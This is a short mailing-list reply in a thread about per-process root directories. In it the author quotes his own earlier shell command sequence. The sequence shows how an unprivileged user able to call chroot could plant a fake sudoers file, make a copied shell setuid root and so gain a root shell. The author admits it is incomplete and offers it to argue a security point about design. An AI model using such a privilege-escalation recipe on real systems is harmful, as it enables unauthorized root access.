Re: Different roots for each process possible?
I wrote:
> Now I can do the following within my home directory:
>
> mkdir myroot
> cd myroot
> mkdir etc
> echo myname > etc/mysudoers
> ln /usr/bin/mysudo .
> cp /bin/sh .
> chroot .
> ./mysudo chown root.root ./sh
> ./mysudo chmod 4555 ./sh
> exit
> ./sh
>
> and now I've got a root shell. Am I missing something?
I just realized that I forgot to copy various things into myroot which
would be needed for this to work. But you get the idea...
Mark
Reply to: